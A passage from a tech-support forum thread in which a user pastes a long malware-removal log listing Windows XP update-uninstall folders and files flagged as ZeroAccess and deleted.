    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2849470$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2849470$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2849470$\rpcrt4.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2849470$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2849470$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2849470$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2849470$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2849470$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2849470$\xpsp4res.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2850851$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850851$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850851$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850851$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850851$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2850851$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850851$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2850869$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850869$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850869$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850869$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850869$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2850869$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2850869$\usp10.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2859537$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2859537$\spuninst\updspapi.dll -> Deleted
     
  8. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2859537$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2862152$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862152$\oakley.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862152$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862152$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862152$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862152$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2862152$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2862330$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862330$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862330$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862330$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862330$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2862330$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862330$\usbccgp.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862330$\usbd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862330$\usbehci.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862330$\usbport.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2862335$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862335$\hidparse.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862335$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862335$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862335$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862335$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2862335$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2862335$\usbscan.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2863058$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2863058$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2863058$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2863058$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2863058$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2863058$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2863058$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2863058$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2863058$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2864063$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2864063$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2864063$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2864063$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2864063$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2864063$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2864063$\themeui.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2868038$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868038$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868038$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868038$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868038$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2868038$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868038$\usbaudio.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868038$\usbvideo.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2868626$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868626$\crypt32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868626$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868626$\reg00002 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868626$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868626$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868626$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868626$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2868626$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2868626$\xpsp4res.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2876217$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876217$\ole32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876217$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876217$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876217$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876217$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2876217$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2876315$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876315$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876315$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876315$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876315$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2876315$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876315$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2876331$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876331$\gdi32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876331$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876331$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876331$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2876331$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2876331$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2883150$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2883150$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2883150$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2883150$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2883150$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2883150$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2883150$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2892075$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2892075$\scrrun.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2892075$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2892075$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2892075$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2892075$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2892075$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2893294$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893294$\imagehlp.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893294$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893294$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893294$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893294$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2893294$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2893984$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893984$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893984$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893984$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893984$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2893984$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2893984$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2898715$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2898715$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2898715$\rpcrt4.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2898715$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2898715$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2898715$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2898715$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2898715$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2898715$\xpsp4res.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2900986$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2900986$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2900986$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2900986$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2900986$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2900986$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2900986$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2904266$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2904266$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2904266$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2904266$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2904266$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2904266$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2904266$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2904266$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2904266$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2914368$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2914368$\ndproxy.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2914368$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2914368$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2914368$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2914368$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2914368$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2916036$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2916036$\msxml3.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2916036$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2916036$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2916036$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2916036$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2916036$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2922229$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2922229$\kernel32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2922229$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2922229$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2922229$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2922229$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2922229$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2929961$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2929961$\qedit.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2929961$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2929961$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2929961$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2929961$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2929961$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2930275$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2930275$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2930275$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2930275$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2930275$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2930275$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2930275$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2934207$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2934207$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2934207$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2934207$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2934207$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2934207$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB898461$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB898461$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB898461$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB898461$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB898461$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB898461$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB923561$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB923561$\mswrd8.wpc -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB923561$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB923561$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB923561$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB923561$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB923561$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB923561$\sysmain.sdb -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB923561$\wordpad.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB926139-v2$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926139-v2$\PSCustomSetupUtil.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926139-v2$\PSSetupNativeUtils.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926139-v2$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926139-v2$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926139-v2$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926139-v2$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB926139-v2$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB926141$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926141$\PSCustomSetupUtil.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926141$\PSSetupNativeUtils.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926141$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926141$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926141$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB926141$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB926141$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB929399$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB929399$\msscp.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB929399$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB929399$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB929399$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB929399$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB929399$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB939683$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB939683$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB939683$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB939683$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB939683$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB939683$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB939683$\unregmp2.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB941569$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB941569$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB941569$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB941569$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB941569$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB941569$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB941569$\wmasf.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB946648$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB946648$\msgsc.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB946648$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB946648$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB946648$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB946648$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB946648$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB950760$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950760$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950760$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950760$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950760$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950760$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB950760$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB950762$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950762$\rmcast.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950762$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950762$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950762$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950762$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB950762$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB950974$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950974$\es.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950974$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950974$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950974$\spuninst\spuninst.txt -> Deleted

